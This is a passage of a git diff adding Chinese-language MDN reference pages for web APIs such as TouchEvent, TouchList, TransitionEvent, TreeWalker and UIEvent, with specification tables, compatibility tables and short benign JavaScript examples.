{{SeeCompatTable}}

+ +
+
{{ domxref("GlobalEventHandlers.ontouchstart") }} {{experimental_inline}}
+
使用一个 {{domxref("GlobalEventHandlers","global event handler")}} 处理{{event("touchstart")}} 事件。
+
{{ domxref("GlobalEventHandlers.ontouchend") }} {{experimental_inline}}
+
使用一个 {{domxref("GlobalEventHandlers","global event handler")}} 处理 {{event("touchend")}} 事件。
+
{{ domxref("GlobalEventHandlers.ontouchmove") }} {{experimental_inline}}
+
使用一个 {{domxref("GlobalEventHandlers","global event handler")}} 处理 {{event("touchmove")}} 事件。
+
{{ domxref("GlobalEventHandlers.ontouchcancel") }} {{experimental_inline}}
+
使用一个 {{domxref("GlobalEventHandlers","global event handler")}} 处理 {{event("touchcancel")}} 事件。
+
+ +

实例

+ +

请看 example on the main Touch events article.

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('Touch Events 2','#touchevent-interface', 'TouchEvent')}}{{Spec2('Touch Events 2')}}Added ontouchstartontouchendontouchmoveontouchend global attribute handlers
{{SpecName('Touch Events', '#touchevent-interface', 'TouchEvent')}}{{Spec2('Touch Events')}}Initial definition.
+ +

浏览器兼容性

+ +

{{Compat("api.TouchEvent")}}

+ +
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/touchevent/targettouches/index.html b/files/zh-cn/web/api/touchevent/targettouches/index.html new file mode 100644 index 0000000000..5b09634380 --- /dev/null +++ b/files/zh-cn/web/api/touchevent/targettouches/index.html @@ -0,0 +1,60 @@ +--- +title: TouchEvent.targetTouches +slug: Web/API/TouchEvent/targetTouches +translation_of: Web/API/TouchEvent/targetTouches +--- +

{{ APIRef("Touch Events") }}

+ +

targetTouches 是一个只读的 {{ domxref("TouchList") }} 列表,包含仍与触摸面接触的所有触摸点的 {{ domxref("Touch") }} 对象。{{event("touchstart")}}事件触发在哪个{{ domxref("element") }}内,它就是当前目标元素。

+ +

语法

+ +
var touches = touchEvent.targetTouches;
+
+ +

返回值

+ +
+
touches
+
一个 {{ domxref("TouchList") }},包含仍与触摸面接触的所有触摸点的 {{ domxref("Touch") }} 对象,{{event("touchstart")}}事件触发在哪个{{ domxref("element") }}内,它就是当前目标元素。
+
+ +

例子

+ +

本例阐述了 {{domxref("TouchEvent")}} 对象的 {{domxref("TouchEvent.targetTouches")}} 属性。{{domxref("TouchEvent.targetTouches")}} 属性也是一个 {{domxref("TouchList")}},其中包含的触摸点起始于触摸事件当前的目标元素,并且此刻正在触摸屏幕。所以,targetTouches 元素是 touches 的真子集。

+ +

下面代码段中的函数比较了 touches 列表和 targetTouches 列表的长度,返回值表示他们是否相等。

+ +
function touches_in_target(ev) {
+  // Return true if all of the touches are within the target element;
+  // otherwise return false.
+  return (ev.touches.length == ev.targetTouches.length ? true : false);
+}
+ +

规格

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#widl-TouchEvent-targetTouches')}}{{Spec2('Touch Events 2')}}Non-stable version.
{{SpecName('Touch Events','#widl-TouchEvent-targetTouches')}}{{Spec2('Touch Events')}}Initial definition.
+ + + +

浏览器兼容性

+ +

{{Compat("api.TouchEvent.targetTouches")}}

diff --git a/files/zh-cn/web/api/touchevent/touches/index.html b/files/zh-cn/web/api/touchevent/touches/index.html new file mode 100644 index 0000000000..e5c9672b3d --- /dev/null +++ b/files/zh-cn/web/api/touchevent/touches/index.html @@ -0,0 +1,75 @@ +--- +title: TouchEvent.touches +slug: Web/API/TouchEvent/touches +tags: + - API + - DOM + - DOM Reference + - touch +translation_of: Web/API/TouchEvent/touches +--- +

{{ APIRef("Touch Events") }}

+ +

概要

+ +

一个 {{ domxref("TouchList") }},其会列出所有当前在与触摸表面接触的  {{ domxref("Touch") }} 对象,不管触摸点是否已经改变或其目标元素是在处于 touchstart 阶段

+ +

此属性是 {{readonlyInline}}。

+ +

语法

+ +
var touches = touchEvent.touches;
+
+ +

返回值

+ +
+
touches
+
一个 {{ domxref("TouchList") }},其会列出所有当前在与触摸表面接触的  {{ domxref("Touch") }} 对象,不管触摸点是否已经改变或其目标元素是在处于 touchstart 阶段
+
+ +

示例

+ +

此示例说明 {{domxref("TouchEvent")}} 对象的 {{domxref("TouchEvent.touches")}} 属性。{{domxref("TouchEvent.touches")}} 属性是一个 {{domxref("TouchList")}} 对象,并包含 {{domxref("Touch")}} 当前接触表面的每个接触点的对象列表

+ +

在下面的代码片段中,{{event("touchstart")}} 事件处理程序会检查 {{domxref("TouchEvent.touches")}} 列表的长度,以确定激活的触摸点的数量,然后根据触摸点的数量调用不同的处理程序。

+ +
someElement.addEventListener('touchstart', function(e) {
+   // Invoke the appropriate handler depending on the
+   // number of touch points.
+   switch (e.touches.length) {
+     case 1: handle_one_touch(e); break;
+     case 2: handle_two_touches(e); break;
+     case 3: handle_three_touches(e); break;
+     default: console.log("Not supported"); break;
+   }
+ }, false);
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态评价
{{SpecName('Touch Events 2','#widl-TouchEvent-touches')}}{{Spec2('Touch Events 2')}}不稳定版
{{SpecName('Touch Events','#widl-TouchEvent-touches')}}{{Spec2('Touch Events')}}初始定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.TouchEvent.touches")}}

diff --git a/files/zh-cn/web/api/touchlist/index.html b/files/zh-cn/web/api/touchlist/index.html new file mode 100644 index 0000000000..36a063b8e1 --- /dev/null +++ b/files/zh-cn/web/api/touchlist/index.html @@ -0,0 +1,65 @@ +--- +title: TouchList +slug: Web/API/TouchList +tags: + - API + - DOM + - Mobile +translation_of: Web/API/TouchList +--- +

{{ ApiRef("Touch Events") }}

+ +

TouchList 接口代表一个触摸平面上所有触点的列表。例如,如果一个用户用三根手指接触屏幕(或者触控板),与之对应的 TouchList 会包含每根手指的 {{ domxref("Touch") }} 对象,总共三个。

+ +

属性

+ +
+
{{ domxref("TouchList.length") }} {{readonlyInline}}
+
返回TouchList中 {{ domxref("Touch") }} 对象的数量。
+
+ +

方法

+ +
+
{{ domxref("TouchList.identifiedTouch()") }}{{obsolete_inline}}
+
列表中标示符与指定值匹配的第一个{{ domxref("Touch") }} 对象会被返回。
+
{{ domxref("TouchList.item()") }}
+
返回列表中以指定值作为索引的 {{ domxref("Touch") }} 对象。
+
+ +

示例

+ +

参考这个主要Touch事件的示例.

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Touch Events 2','#touchlist-interface')}}{{Spec2('Touch Events 2')}}Non-stable version.
{{SpecName('Touch Events', '#touchlist-interface')}}{{Spec2('Touch Events')}}Initial definition.
+ +

浏览器兼容

+ +

{{Compat("api.TouchList")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/transferable/index.html b/files/zh-cn/web/api/transferable/index.html new file mode 100644 index 0000000000..59d5398bd5 --- /dev/null +++ b/files/zh-cn/web/api/transferable/index.html @@ -0,0 +1,61 @@ +--- +title: Transferable +slug: Web/API/Transferable +tags: + - API + - 参考 +translation_of: Web/API/Transferable +--- +
{{APIRef("DOM")}}
+ +

Transferable 接口代表一个能在不同可执行上下文之间,列如主线程和 {{domxref("Worker")}} 之间,相互传递的对象。

+ +

这是一个抽象接口,没有任何对象属于此类型。它也没有定义任何方法和属性;它只是一个标签,用来指示对象在特定场合下,比如如通过 {{domxref("Worker.postMessage()")}} 方法传递到 {{domxref("Worker")}},是可用的。

+ +
+

备注:技术上,Transferable 接口已不复存在。但是,Transferable 对象的效用依旧存在,只是其实现被移到了更加底层的位置。(转而通过{{Glossary("WebIDL")}} 拓展属性 [Transferable] 实现)。

+
+ +

{{domxref("ArrayBuffer")}}、{{domxref("MessagePort")}} 和 {{domxref("ImageBitmap")}} 实现了此接口。

+ +

属性

+ +

Transferable 接口没有实现或继承任何属性。

+ +

方法

+ +

Transferable 接口没有实现或继承任何方法。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态评语
{{SpecName('HTML WHATWG', "infrastructure.html#transferable-objects", "Transferable")}}{{Spec2('HTML WHATWG')}}使用 Web IDL 拓展属性 [Transferable] 代替 Transferable 接口
{{SpecName('HTML5 W3C', "infrastructure.html#transferable-objects", "Transferable")}}{{Spec2('HTML5 W3C')}}初始定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.Transferable")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/transitionevent/index.html b/files/zh-cn/web/api/transitionevent/index.html new file mode 100644 index 0000000000..d22fb61cbe --- /dev/null +++ b/files/zh-cn/web/api/transitionevent/index.html @@ -0,0 +1,173 @@ +--- +title: TransitionEvent +slug: Web/API/TransitionEvent +translation_of: Web/API/TransitionEvent +--- +

{{APIRef("CSSOM")}} {{SeeCompatTable}}

+ +

TransitonEvent 接口指那些提供了与 transition 有关信息的事件。

+ +

属性

+ +

同时也继承了父类 {{domxref("Event")}} 的属性.

+ +
+
{{domxref("TransitionEvent.propertyName")}} {{readonlyInline}}
+
是一个{{domxref("DOMString")}},代表与这个 transition 有关的 CSS 属性名.
+
{{domxref("TransitionEvent.elapsedTime")}} {{readonlyInline}}
+
是一个 float 值,代表从这个事件触发开始,这个 transition 运行的时间(以秒为单位)。这个值不受 {{cssxref("transition-delay")}} 属性的影响.
+
{{domxref("TransitionEvent.pseudoElement")}} {{readonlyInline}}
+
是一个以 '::' 开头的 {{domxref("DOMString")}}, 代表这个过渡运行于其上的伪元素的名字。如果这个过渡不是在一个伪元素上而是在一个元素上运行的,这个值就是一个空值''。
+
+ +

构造函数

+ +
+
{{domxref("TransitionEvent.TransitionEvent", "TransitionEvent()")}}
+
用给定的参数创建一个 TransitionEvent 事件。
+
+ +

方法

+ +

同时也继承了父类 {{domxref("Event")}}的方法.

+ +
+
{{domxref("TransitionEvent.initTransitionEvent()")}} {{non-standard_inline}}{{deprecated_inline}}
+
使用已经废弃的{{domxref("Document.createEvent()", "Document.createEvent(\"TransitionEvent\")")}} 方法初始化已经创建的 TransitonEvent 事件。
+
+ +

Specifications

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS3 Transitions', '#Events-TransitionEvent', 'TransitionEvent') }}{{ Spec2('CSS3 Transitions') }}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("2.0") }}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
TransitionEvent() constructor{{CompatNo}}{{CompatNo}}{{ CompatGeckoDesktop("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
initTransitionEvent() {{non-standard_inline}}{{deprecated_inline}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatGeckoDesktop("6.0") }}
+ Removed in {{ CompatGeckoDesktop("23.0") }}
10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
pseudoelement{{CompatNo}}{{CompatNo}}{{ CompatGeckoDesktop("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("2.0") }}10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
TransitionEvent() constructor{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
initTransitionEvent() {{non-standard_inline}}{{deprecated_inline}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{ CompatGeckoMobile("6.0") }}
+ Removed in {{ CompatGeckoMobile("23.0") }}
10.0{{CompatVersionUnknown}}{{CompatVersionUnknown}}
pseudoelement{{CompatNo}}{{CompatNo}}{{ CompatGeckoMobile("23.0") }}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/treewalker/index.html b/files/zh-cn/web/api/treewalker/index.html new file mode 100644 index 0000000000..4e60679136 --- /dev/null +++ b/files/zh-cn/web/api/treewalker/index.html @@ -0,0 +1,169 @@ +--- +title: TreeWalker +slug: Web/API/TreeWalker +tags: + - API + - DOM +translation_of: Web/API/TreeWalker +--- +
+

{{ APIRef("DOM") }}

+
+ +

TreeWalker 对象用于表示文档子树中的节点和它们的位置。

+ +

TreeWalker 可以使用 {{domxref("Document.createTreeWalker()")}} 方法创建。

+ +

属性

+ +

这个接口不继承任何属性。

+ +
+
{{domxref("TreeWalker.root")}} {{readonlyInline}}
+
返回一个 {{domxref("Node")}} ,表示新建 TreeWalker 时所声明的根节点。
+
{{domxref("TreeWalker.whatToShow")}} {{readonlyInline}}
+
返回一个 unsigned long 类型的常量位掩码,表示需要筛选的{{domxref("Node")}} 类型。不匹配的节点会跳过,但其子节点,如果符合条件,则也会被包含。可能的值如下: + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
常量数字值描述
NodeFilter.SHOW_ALL-1 (that is the max value of unsigned long)显示所有节点。
NodeFilter.SHOW_ATTRIBUTE {{deprecated_inline}}2显示{{ domxref("Attr") }}节点,这意味着使用{{ domxref("TreeWalker") }}访问 {{ domxref("Attr") }}节点时,需要让这些节点处于遍历的开始位置。这是因为这些节点不是任何节点的后代,并不处于文档树之上。
NodeFilter.SHOW_CDATA_SECTION {{deprecated_inline}}8显示 {{ domxref("CDATASection") }}节点。
NodeFilter.SHOW_COMMENT128显示 {{ domxref("Comment") }} 节点。
NodeFilter.SHOW_DOCUMENT256显示 {{ domxref("Document") }} 节点。
NodeFilter.SHOW_DOCUMENT_FRAGMENT1024显示 {{ domxref("DocumentFragment") }} 节点。
NodeFilter.SHOW_DOCUMENT_TYPE512显示 {{ domxref("DocumentType") }} 节点。
NodeFilter.SHOW_ELEMENT1显示 {{ domxref("Element") }} 节点。
NodeFilter.SHOW_ENTITY {{deprecated_inline}}32显示{{ domxref("Entity") }}节点,这意味着使用{{ domxref("TreeWalker") }}访问 {{ domxref("Entity") }}节点时,需要让这些节点处于遍历的开始位置。这是因为这些节点不是任何节点的后代,并不处于文档树之上。
NodeFilter.SHOW_ENTITY_REFERENCE {{deprecated_inline}}16显示 {{ domxref("EntityReference") }} 节点。
NodeFilter.SHOW_NOTATION {{deprecated_inline}}2048显示{{ domxref("Notation") }}节点,这意味着使用{{ domxref("TreeWalker") }}访问 {{ domxref("Notation") }}节点时,需要让这些节点处于遍历的开始位置。这是因为这些节点不是任何节点的后代,并不处于文档树之上。
NodeFilter.SHOW_PROCESSING_INSTRUCTION64显示 {{ domxref("ProcessingInstruction") }} 节点。
NodeFilter.SHOW_TEXT4显示 {{ domxref("Text") }} 节点。
+
+
{{domxref("TreeWalker.filter")}} {{readonlyInline}}
+
返回一个实现{{domxref("NodeFilter")}}接口的对象,这个对象用来挑选相关的节点。
+
{{domxref("TreeWalker.expandEntityReferences")}} {{readonlyInline}}{{obsolete_inline}}
+
是个{{domxref("Boolean")}}的标记,表明是否在丢弃一个{{domxref("EntityReference")}}是否同时丢弃其后代。
+
{{domxref("TreeWalker.currentNode")}}
+
返回 TreeWalker   当前指向的{{domxref("Node")}}。
+
+ +

方法

+ +

这个接口不继承任何方法。

+ +
+

注意:对于TreeWalker ,一个节点是否可见只取决于whatToShow 和 filter  两个参数(和元素是否在屏幕上可见无关)

+
+ +
+
{{domxref("TreeWalker.parentNode()")}}
+
移动当前 {{domxref("Node")}}到文档顺序中的第一个“可见”的祖先节点,并返回该节点。如果没有这样的节点,则会返回 null  ,同时也不会发生移动。
+
{{domxref("TreeWalker.firstChild()")}}
+
移动当前 {{domxref("Node")}}到当前节点的第一个“可见”子节点,并返回该节点。如果没有这样的节点,则会返回 null  ,同时也不会发生移动。
+
{{domxref("TreeWalker.lastChild()")}}
+
移动当前 {{domxref("Node")}}到当前节点的最末一个“可见”子节点,并返回该节点。如果没有这样的节点,则会返回 null  ,同时也不会发生移动。
+
{{domxref("TreeWalker.previousSibling()")}}
+
移动当前 {{domxref("Node")}}到当前节点的前一个兄弟节点,并返回该节点。如果没有这样的节点,则会返回 null  ,同时也不会发生移动。
+
{{domxref("TreeWalker.nextSibling()")}}
+
移动当前 {{domxref("Node")}}到当前节点的后一个兄弟节点,并返回该节点。如果没有这样的节点,则会返回 null  ,同时也不会发生移动。
+
{{domxref("TreeWalker.previousNode()")}}
+
移动当前 {{domxref("Node")}}到文档顺序中前一个节点,并返回该节点。如果没有这样的节点,则会返回 null  ,同时也不会发生移动。
+
{{domxref("TreeWalker.nextNode()")}}
+
移动当前 {{domxref("Node")}}到文档顺序中下一个节点,并返回该节点。如果没有这样的节点,则会返回 null  ,同时也不会发生移动。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('DOM WHATWG', '#interface-treewalker', 'TreeWalker')}}{{Spec2('DOM WHATWG')}}Removed the expandEntityReferences property.
{{SpecName('DOM2 Traversal_Range', 'traversal.html#Traversal-TreeWalker', 'TreeWalker')}}{{Spec2('DOM2 Traversal_Range')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.TreeWalker")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/typeinfo/index.html b/files/zh-cn/web/api/typeinfo/index.html new file mode 100644 index 0000000000..5253369c82 --- /dev/null +++ b/files/zh-cn/web/api/typeinfo/index.html @@ -0,0 +1,70 @@ +--- +title: TypeInfo +slug: Web/API/TypeInfo +tags: + - TypeInfo +translation_of: Web/API/TypeInfo +--- +

{{APIRef("DOM")}} {{obsolete_header}}

+ +

属性

+ +
+
{{domxref("TypeInfo.typeName")}} {{Readonlyinline}}
+
Returns a {{domxref("DOMString")}}.
+
{{domxref("TypeInfo.typeNamespace")}} {{Readonlyinline}}
+
Returns a {{domxref("DOMString")}}.
+
+ +

方法

+ +
+
{{domxref("TypeInfo.isDerivedFrom()")}}
+
Returns a {{jsxref("Boolean")}}
+
+ +

常量

+ + + + + + + + + + + + + + + + + + + + + + + + +
ConstantValue
DERIVATION_RESTRICTION1
DERIVATION_EXTENSION2
DERIVATION_UNION4
DERIVATION_LIST8
+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("DOM3 Core", "core.html#TypeInfo", "TypeInfo")}}{{Spec2("DOM3 Core")}}Initial definition
diff --git a/files/zh-cn/web/api/uievent/cancelbubble/index.html b/files/zh-cn/web/api/uievent/cancelbubble/index.html new file mode 100644 index 0000000000..cc024ba8b6 --- /dev/null +++ b/files/zh-cn/web/api/uievent/cancelbubble/index.html @@ -0,0 +1,18 @@ +--- +title: event.cancelBubble +slug: Web/API/UIEvent/cancelBubble +translation_of: Web/API/UIEvent/cancelBubble +--- +

{{ ApiRef() }}

+
+ 警告: 请使用 event.stopPropagation() 方法来代替该不标准的属性.
+

概述

+

{{ Deprecated_header() }} 获取或设置一个布尔值,表明当前事件是否要取消冒泡.

+

语法

+
event.cancelBubble = bool;
+var bool = event.cancelBubble;
+
+

bool 的值为true或false.

+

备注

+

如果一个事件是可冒泡的,则它的cancelBubble属性的默认值为 false,代表允许该事件向上冒泡. 将cancelBubble属性设置为true以后,可以阻止该事件的进一步冒泡行为.

+

{{ languages( { "pl": "pl/DOM/event.cancelBubble" ,"en": "en/DOM/event.cancelBubble" } ) }}

diff --git a/files/zh-cn/web/api/uievent/detail/index.html b/files/zh-cn/web/api/uievent/detail/index.html new file mode 100644 index 0000000000..277f89be04 --- /dev/null +++ b/files/zh-cn/web/api/uievent/detail/index.html @@ -0,0 +1,86 @@ +--- +title: UIEvent.detail +slug: Web/API/UIEvent/detail +translation_of: Web/API/UIEvent/detail +--- +

{{APIRef("DOM Events")}}

+ +

UIEvent.detail是只读属性, 当值为非空的时候, 提供当前点击数(和环境有关) 。

+ +

对 {{event("click")}} 或者 {{event("dblclick")}} 事件, UIEvent.detail 是当前点击数量。

+ +

对 {{event("mousedown")}} 或者 {{event("mouseup")}} 事件, UIEvent.detail是1加上当前点击数。

+ +

对所有的其它{{domxref("UIEvent")}} 对象, UIEvent.detail 总是零.

+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM3 Events','#widl-UIEvent-detail','UIEvent.detail')}}{{Spec2('DOM3 Events')}} 
{{SpecName('DOM2 Events','#Events-UIEvent-detail','UIEvent.detail')}}{{Spec2('DOM2 Events')}}Initial definition.
+ +

Browser compatibility

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox (Gecko)ChromeInternet ExplorerOperaSafari
Basic support{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}{{CompatUnknown()}}
+
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureFirefox Mobile (Gecko)AndroidIE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/zh-cn/web/api/uievent/index.html b/files/zh-cn/web/api/uievent/index.html new file mode 100644 index 0000000000..afad06a4e3 --- /dev/null +++ b/files/zh-cn/web/api/uievent/index.html @@ -0,0 +1,192 @@ +--- +title: UIEvent +slug: Web/API/UIEvent +tags: + - API + - DOM + - Event + - Reference + - UIEvent +translation_of: Web/API/UIEvent +--- +

{{APIRef("DOM Events")}}

+ +

 UIEvent 接口表示简单的用户界面事件。

+ +

UIEvent 是从 {{domxref("Event")}} 派生出来的。尽管 {{domxref("UIEvent.initUIEvent()")}} 方法为了向后兼容而一直保留着,但是你应该使用 {{domxref("UIEvent.UIEvent", "UIEvent()")}} 构造器来创建 UIEvent 对象。

+ +

某些接口是这个的直接或间接后代:{{domxref("MouseEvent")}}, {{domxref("TouchEvent")}}, {{domxref("FocusEvent")}}, {{domxref("KeyboardEvent")}}, {{domxref("WheelEvent")}}, {{domxref("InputEvent")}}, 和{{domxref("CompositionEvent")}}.

+ +

Constructors

+ +
+
{{domxref("UIEvent.UIEvent()", "UIEvent()")}}
+
创建一个 UIEvent 对象
+
+ +

属性

+ +

也继承了父代 {{domxref("Event")}} 的一些属性。

+ +
+
{{domxref("UIEvent.cancelBubble")}} {{Non-standard_inline}} {{Deprecated_inline}}
+
返回一个 {{jsxref("Boolean")}},表示该事件的冒泡是否被取消。
+
+ +
+
{{domxref("UIEvent.detail")}}{{readonlyinline}}
+
Returns a long with details about the event, depending on the event type.
+
{{domxref("UIEvent.isChar")}} {{obsolete_inline}} {{readonlyinline}}
+
返回一个 {{jsxref("Boolean")}},表示该事件是否产生了一个键盘字符(key character)。
+
{{domxref("UIEvent.layerX")}} {{Non-standard_inline}} {{readonlyinline}}
+
返回事件相对于当前层的水平坐标。
+
{{domxref("UIEvent.layerY")}} {{Non-standard_inline}} {{readonlyinline}}
+
返回事件相对于当前层的垂直坐标。
+
{{domxref("UIEvent.pageX")}} {{Non-standard_inline}} {{readonlyinline}}
+
返回事件相对于整个文档的水平坐标。
+
{{domxref("UIEvent.pageY")}} {{Non-standard_inline}} {{readonlyinline}}
+
返回事件相对于整个文档的垂直坐标。
+
{{domxref("UIEvent.sourceCapabilities")}} {{non-standard_inline}} {{readonlyinline}}
+
返回输入设备功能接口的一个实例,它提供有关负责生成 touch 事件的物理设备的信息。
+
{{domxref("UIEvent.view")}}{{readonlyinline}}
+
返回一个包含了产生该事件的视图的 {{domxref("WindowProxy")}} 。
+
{{domxref("UIEvent.which")}} {{Non-standard_inline}} {{readonlyinline}} 
+
返回一个对应(键盘)按下的数字类型的 keyCode ,或者一个字母数字键按下时的字符码(charCode)。
+
+ +

方法

+ +

也继承了父代 {{domxref("Event")}} 的一些方法。

+ +
+
{{domxref("UIEvent.initUIEvent()")}} {{deprecated_inline}}
+
初始化一个 UIEvent 对象。如果事件已经被分派,这个方法什么都不做。
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('InputDeviceCapabilities')}}{{Spec2('InputDeviceCapabilities')}}Added sourceCapabilities property.
{{SpecName('DOM3 Events', '#interface-UIEvent', 'UIEvent')}}{{Spec2('DOM3 Events')}}Added the UIEvent() constructor, deprecated the initUIEvent() method and changed the type of viewfrom AbstractView to WindowProxy.
{{SpecName('DOM2 Events', '#Events-UIEvent', 'UIEvent')}}{{Spec2('DOM2 Events')}}Initial definition
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[2]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
UIEvent(){{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(11)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
cancelBubble defined on Event{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(53)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidEdgeFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}[2]{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
UIEvent(){{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(11)}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
cancelBubble defined on Event{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(53)}}[1]{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

[1] From Firefox 52, this property is now defined on the {{domxref("Event")}} interface instead. See {{bug(1298970)}} for more details.

+ +

[2] The {{domxref("UIEvent.isChar", "isChar")}} property has never been supported by any browser but Firefox, and even on Firefox it's never worked except on Mac OSX. For that reason, it's been removed in Firefox 55 to align with other browsers.

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/uievent/ischar/index.html b/files/zh-cn/web/api/uievent/ischar/index.html new file mode 100644 index 0000000000..8d6097d123 --- /dev/null +++ b/files/zh-cn/web/api/uievent/ischar/index.html @@ -0,0 +1,23 @@ +--- +title: event.isChar +slug: Web/API/UIEvent/isChar +translation_of: Web/API/UIEvent/isChar +--- +

{{ ApiRef() }}

+
+ 警告: 不要使用该属性,该属性有一个已知的bug,就是它始终返回false,从不返回true.查看https://bugzilla.mozilla.org/show_bug.cgi?id=312552
+

概述

+

返回一个布尔值,表明该事件是否是由一个字符按键触发的.

+

语法

+
bool = event.isChar
+
+

例子

+
 if(e.isChar){
+   echoInput(e.type);
+ }
+
+

备注

+

一些常用的组合键可能会触发键盘事件,但是不会产生任何字符(例如:CTRL + ALT + ?).在这种情况下,isChar返回false.isChar常用于判断用户在一个文本输入框内输入的是否为一个字符.

+

规范

+

不属于任何公开的规范

+

{{ languages( {"pl": "pl/DOM/event.isChar","en": "en/DOM/event.isChar" } ) }}

diff --git a/files/zh-cn/web/api/uievent/pagex/index.html b/files/zh-cn/web/api/uievent/pagex/index.html new file mode 100644 index 0000000000..b4a7f812f7 --- /dev/null +++ b/files/zh-cn/web/api/uievent/pagex/index.html @@ -0,0 +1,105 @@ +--- +title: UIEvent.pageX +slug: Web/API/UIEvent/pageX +translation_of: Web/API/UIEvent/pageX +--- +

{{APIRef("DOM Events")}} {{Non-standard_header}}

+ +

UIEvent.pageX 是只读属性,它返回相对于整个文档的水平坐标。

+ +

语法

+ +
var pos = event.pageX
+ +

示例

+ +
var pageX = event.pageX;
+ +

pageX  是鼠标事件触发时,鼠标指针相对于整个文档 X 坐标上像素点的整数值。这一属性同时也参照了页面的水平滚动距离。

+ +
<html>
+<head>
+<title>pageX\pageY & layerX\layerY example</title>
+
+<script type="text/javascript">
+
+function showCoords(evt){
+  var form = document.forms.form_coords;
+  var parent_id = evt.target.parentNode.id;
+  form.parentId.value = parent_id;
+  form.pageXCoords.value = evt.pageX;
+  form.pageYCoords.value = evt.pageY;
+  form.layerXCoords.value = evt.layerX;
+  form.layerYCoords.value = evt.layerY;
+}
+
+</script>
+
+<style type="text/css">
+
+ #d1 {
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d2 {
+  position: absolute;
+  top: 180px;
+  left: 80%;
+  right:auto;
+  width: 40%;
+  border: solid blue 1px;
+  padding: 20px;
+ }
+
+ #d3 {
+  position: absolute;
+  top: 240px;
+  left: 20%;
+  width: 50%;
+  border: solid blue 1px;
+  padding: 10px;
+ }
+
+</style>
+</head>
+
+<body onmousedown="showCoords(event)">
+
+<p>To display the mouse coordinates please click anywhere on the page.</p>
+
+<div id="d1">
+<span>This is an un-positioned div so clicking it will return
+layerX/layerY values almost the same as pageX/PageY values.</span>
+</div>
+
+<div id="d2">
+<span>This is a positioned div so clicking it will return layerX/layerY
+values that are relative to the top-left corner of this positioned
+element. Note the pageX\pageY properties still return the
+absolute position in the document, including page scrolling.</span>
+
+<span>Make the page scroll more! This is a positioned div so clicking it
+will return layerX/layerY values that are relative to the top-left
+corner of this positioned element. Note the pageX\pageY properties still
+return the absolute position in the document, including page
+scrolling.</span>
+</div>
+
+<div id="d3">
